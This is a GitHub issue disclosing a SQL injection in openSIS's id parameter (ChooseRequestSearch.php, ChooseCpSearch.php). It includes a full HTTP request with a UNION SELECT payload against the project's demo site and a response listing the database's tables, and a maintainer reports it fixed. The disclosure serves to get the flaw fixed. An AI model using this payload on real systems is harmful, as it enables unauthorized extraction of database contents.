Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SQL Injection in id Parameter #195

Closed
CP04042K opened this issue Sep 1, 2021 · 2 comments
Closed

SQL Injection in id Parameter #195

CP04042K opened this issue Sep 1, 2021 · 2 comments

Comments

@CP04042K
Copy link

CP04042K commented Sep 1, 2021

Due to no security mechanism was implemented in parameter id, attacker can inject arbitrary SQL query and extract database informations

Screenshot from 2021-09-01 22-34-35

Vulnerable code section

ChooseCpSearch.php
Screenshot from 2021-09-01 22-37-03
ChooseRequestSearch.php
Screenshot from 2021-09-01 22-40-53

Request and Response

GET /ChooseRequestSearch.php?id=1'+union+select+1,group_concat(table_name),3+FROM+information_schema.tables+WHERE+table_schema=database()--+-&table_name=courses HTTP/1.1
Host: demo.opensis.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://demo.opensis.com/Modules.php?modname=miscellaneous/Portal.php&failed_login=
Cookie: PHPSESSID=hlbs4pioon9tgupfig1n2hsgu1
HTTP/1.1 200 OK
Date: Wed, 01 Sep 2021 15:34:05 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.29
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 1194
Connection: close
Content-Type: text/html

course_modal_request||
3 courses were found.
Course
Reading
Writing
api_info,app,attendance_calendar,attendance_code_categories,attendance_codes,attendance_completed,attendance_day,attendance_period,calendar_events,calendar_events_visibility,course_details,course_period_var,course_periods,course_subjects,courses,custom_fields,device_info,eligibility,eligibility_activities,eligibility_completed,enroll_grade
@CP04042K
Copy link
Author

CP04042K commented Sep 2, 2021

@openSISAdmin please review and reply soon

@CP04042K CP04042K closed this as completed Sep 2, 2021
@CP04042K CP04042K reopened this Sep 2, 2021
@openSISAdmin
Copy link
Member

Fixed

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants